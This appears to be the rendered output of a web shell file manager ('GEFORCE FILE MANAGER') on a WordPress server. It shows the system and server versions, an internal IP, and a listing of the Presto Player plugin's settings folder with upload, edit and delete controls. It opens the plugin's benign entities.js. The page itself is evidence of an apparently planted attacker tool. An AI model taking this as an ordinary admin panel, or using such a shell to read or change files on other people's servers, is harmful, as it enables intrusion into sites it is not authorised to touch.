[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
settings
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 components
SET
[ DEL ]
📁 pages
SET
[ DEL ]
📁 scss
SET
[ DEL ]
📁 store
SET
[ DEL ]
📄 app.js
4,049 B
SET
[ EDIT ]
|
[ DEL ]
📄 entities.js
737 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.js
265 B
SET
[ EDIT ]
|
[ DEL ]
📄 routes.js
164 B
SET
[ EDIT ]
|
[ DEL ]
📄 settings.js
2,431 B
SET
[ EDIT ]
|
[ DEL ]
📄 settings.scss
3,442 B
SET
[ EDIT ]
|
[ DEL ]
📄 util.js
606 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: entities.js
import { store as coreStore } from "@wordpress/core-data"; import { dispatch } from "@wordpress/data"; import { __ } from "@wordpress/i18n"; dispatch(coreStore).addEntities([ { name: "preset", kind: "presto-player", label: __("Presets", "presto-player"), baseURL: "presto-player/v1/preset", baseURLParams: { context: "edit" }, }, { name: "audio-preset", kind: "presto-player", label: __("Audio Presets", "presto-player"), baseURL: "presto-player/v1/audio-preset", baseURLParams: { context: "edit" }, }, { name: "webhook", kind: "presto-player", label: __("Webhook", "presto-player"), baseURL: "presto-player/v1/webhook", baseURLParams: { context: "edit" }, }, ]);